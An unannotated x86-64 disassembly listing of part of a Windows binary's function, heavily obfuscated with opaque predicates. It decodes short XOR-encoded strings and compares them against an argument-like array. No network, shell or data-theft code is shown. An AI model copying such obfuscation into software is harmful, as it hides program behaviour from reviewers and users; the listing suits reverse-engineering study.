lea ecx, [r12 + rsi]
movsx eax, byte [0x140017004]
lea ecx, [rcx + r12*2]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ca49
movsx eax, byte [0x140017004]
add eax, esi
lea eax, [rax + r12*8]
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ac3a
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000ac3a
mov dword [rbp - 0x7c], r14d
jmp 0x14000ac8b
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ac8b
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x7c], eax
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x7c]
test eax, eax
je 0x14000ca49
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ad41
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
jne 0x14000ca49
lea r13d, [rsi + r12]
mov r11, qword [rbp - 0x60]
mov ebx, dword [rsp + 0x30]
jmp 0x14000c58d
movsx ecx, byte [0x140017004]
mov eax, dword [rsp + 0x60]
add eax, ecx
lea eax, [rax + r12*2]
movsx ecx, byte [0x140017003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ca3a
movsx eax, byte [0x140017004]
add eax, dword [rsp + 0x68]
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ae18
movsx ecx, byte [0x140017340]
imul ecx, ebx
lea edx, [rcx + rcx*2]
sub edx, esi
add edx, r13d
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x14000ae18
mov dword [rbp - 0x80], r14d
xor r10d, r10d
jmp 0x14000ae76
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ae6b
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si edx, xmm0
mov dword [rbp - 0x80], edx
jmp 0x14000ae6e
mov edx, dword [rbp - 0x80]
xor r10d, r10d
cmp r10d, edx
jge 0x14000ae96
movzx eax, word [0x14001169c]
mov word [rbp - 0x34], ax
movzx eax, byte [0x14001169e]
mov byte [rbp - 0x32], al
lea rcx, [rbp - 0x34]
mov qword [rsp + 0x70], rcx
jmp 0x14000ae9b
mov rcx, qword [rsp + 0x70]
movzx eax, byte [rcx + 2]
test al, al
je 0x14000aeaf
xor byte [rcx], 0x39
xor byte [rcx + 1], 0x3a
xor al, 0x3b
mov byte [rcx + 2], al
mov rbx, qword [rsp + 0x38]
mov r11, qword [rbp - 0x60]
mov rax, qword [r11 + rbx*8]
mov r8, rcx
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000aed5
inc rax
test ecx, ecx
jne 0x14000aec2
mov r9d, dword [rsp + 0x64]
test edx, edx
jne 0x14000aeec
lea eax, [r9 + 1]
cmp eax, dword [rbp - 0x4c]
mov edx, 1
jl 0x14000aeef
mov rdx, r10
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000af85
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000af85
mov dword [rbp - 0x10], r14d
jmp 0x14000afd6
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000afd6
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x10], eax
imul ecx, r12d, 7
movsx eax, byte [0x140017004]
mov esi, dword [rsp + 0x60]
add ecx, esi
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x10]
test eax, eax
je 0x14000b09c
inc r9d
mov dword [rsp + 0x64], r9d
inc rbx
mov qword [rsp + 0x38], rbx
mov r9, qword [r11 + rbx*8]
mov rsi, 0xffffffffffffffff
inc rsi
cmp byte [r9 + rsi], 0
jne 0x14000b024
mov rax, qword [rbp + 0x1e8]
cmp rsi, rax
ja 0x14000b078
lea rbx, [rbp + 0x1d0]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x1d0]
mov qword [rbp + 0x1e0], rsi
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
mov esi, dword [rsp + 0x60]
mov r13d, dword [rsp + 0x68]
mov r11, qword [rbp - 0x60]
jmp 0x14000ca57
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp + 0x1d0]
call fcn.1400014c0
mov esi, dword [rsp + 0x60]
mov r13d, dword [rsp + 0x68]
mov r11, qword [rbp - 0x60]
jmp 0x14000ca57
movsx eax, byte [0x140017004]
add eax, dword [rsp + 0x30]
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ca53
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*4]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx eax, byte [0x140017001]
add eax, r8d
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b18d
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000b18d
mov dword [rbp - 0xc], r14d
jmp 0x14000b1de
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b1de
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0xc], eax
movsx eax, byte [0x140017004]
lea r13d, [rsi + r12]
add eax, r13d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0xc]
xor edx, edx
test eax, eax
je 0x14000b4be
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b294
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
jne 0x14000b2ce
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b2ce
movzx eax, byte [0x140017004]
movzx eax, byte [0x140017003]
movzx eax, byte [section..data]
movsd xmm0, qword [rsp + 0x50]
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ca57
lea r9d, [rsi + r12*8]
add r9d, r12d
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b3ad
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000b3ad
mov dword [rbp - 8], r14d
jmp 0x14000b3fe
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b3fe
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 8], eax
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 8]
test eax, eax
je 0x14000ca57
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b4b5
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
jne 0x14000ca57
mov ebx, dword [rsp + 0x30]
jmp 0x14000c58d
lea ecx, [r12 + rsi]
movsx eax, byte [0x140017004]
lea ecx, [rcx + r12*2]
add eax, ecx
movsx ecx, byte [0x140017003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ca57
mov byte [rbp - 0x47], 0
lea rdx, [rbp + 0xc]
lea rcx, [rbp - 0x47]
call fcn.140003dd0
mov r8, rax
movzx eax, byte [rax + 2]
test al, al
je 0x14000b512
xor byte [r8], 0x39
xor byte [r8 + 1], 0x3a
xor al, 0x3b
mov byte [r8 + 2], al
mov r11, qword [rbp - 0x60]
mov rax, qword [r11 + rbx*8]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000b533
inc rax
test ecx, ecx
jne 0x14000b520
mov r10d, dword [rsp + 0x64]
test edx, edx
jne 0x14000b54c
lea eax, [r10 + 1]
cmp eax, dword [rbp - 0x4c]
jge 0x14000b54c
mov edx, 1
jmp 0x14000b550
xor eax, eax
mov edx, eax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b5e6
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000b5e6
mov dword [rbp - 4], r14d
jmp 0x14000b637
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b637
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 4], eax
lea r9d, [r12*8]
movsx eax, byte [0x140017004]
add eax, esi
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 4]
test eax, eax
je 0x14000b6d6
inc r10d
mov dword [rsp + 0x64], r10d
inc rbx
mov qword [rsp + 0x38], rbx
mov r9, qword [r11 + rbx*8]
mov rsi, 0xffffffffffffffff
inc rsi
cmp byte [r9 + rsi], 0
jne 0x14000b682
mov rax, qword [rbp + 0x1c8]
cmp rsi, rax
ja 0x14000b6b7
lea rbx, [rbp + 0x1b0]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x1b0]
mov qword [rbp + 0x1c0], rsi
jmp 0x14000a910
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp + 0x1b0]
call fcn.1400014c0
mov esi, dword [rsp + 0x60]
mov r11, qword [rbp - 0x60]
jmp 0x14000ca57
movsx eax, byte [0x140017004]
add eax, r13d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ca57
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
add r8d, r8d
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx eax, byte [0x140017001]
add eax, r8d
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b7c9
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000b7c9
mov dword [rbp - 0x2c], r14d
jmp 0x14000b81a
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b81a
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x2c], eax
movsx eax, byte [0x140017004]
add eax, esi
lea eax, [rax + r12*2]
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x2c]
xor edx, edx
test eax, eax
je 0x14000ba93
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm11
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b8d0
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
jne 0x14000b90a
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b90a
movzx eax, byte [0x140017004]
movzx eax, byte [0x140017003]
movzx eax, byte [section..data]
movsd xmm0, qword [rsp + 0x50]
lea ecx, [r12 + rsi]
movsx eax, byte [0x140017004]
lea ecx, [rcx + r12*4]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ca57
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b9e9
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000b9e9
mov dword [rbp - 0x28], r14d
jmp 0x14000ba3a
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ba3a
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x28], eax
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x28]
test eax, eax
je 0x14000ca57
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
jmp 0x14000b453
movsx eax, byte [0x140017004]
add eax, esi
add eax, r9d
movsx ecx, byte [0x140017003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ca57
mov byte [rbp - 0x46], 0
lea rdx, [rbp + 8]
lea rcx, [rbp - 0x46]
call fcn.140001df0
mov r8, rax
movzx eax, byte [rax + 2]
test al, al
je 0x14000bae2
xor byte [r8], 0x39
xor byte [r8 + 1], 0x3a
xor al, 0x3b
mov byte [r8 + 2], al
mov r11, qword [rbp - 0x60]
mov rax, qword [r11 + rbx*8]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000bb03
inc rax
test ecx, ecx
jne 0x14000baf0
xor eax, eax
test edx, edx
sete al
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000bba0
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000bba0
mov dword [rbp - 0x24], r14d
jmp 0x14000bbf1
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000bbf1
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x24], eax
lea r9d, [r12 + r12*8]
movsx eax, byte [0x140017004]
add eax, esi
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x24]
test eax, eax
je 0x14000bc27
mov byte [rsp + 0x41], 1
jmp 0x14000ca57
movsx eax, byte [0x140017004]
add eax, esi
lea eax, [rax + r12*2]
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ca57
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
imul r8d, edx, 7
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx eax, byte [0x140017001]
add eax, r8d
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000bd1a
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000bd1a
mov dword [rbp - 0x20], r14d
jmp 0x14000bd6b
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000bd6b
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x20], eax
imul ecx, r12d, 7
movsx eax, byte [0x140017004]
add ecx, esi
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x20]
xor edx, edx
test eax, eax
je 0x14000bfea
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000be23
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
jne 0x14000be5d
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000be5d
movzx eax, byte [0x140017004]
movzx eax, byte [0x140017003]
movzx eax, byte [section..data]
movsd xmm0, qword [rsp + 0x50]
movsx eax, byte [0x140017004]
mov ebx, dword [rsp + 0x30]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ca5b
lea ecx, [r12 + rsi]
movsx eax, byte [0x140017004]
lea ecx, [rcx + r12*4]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
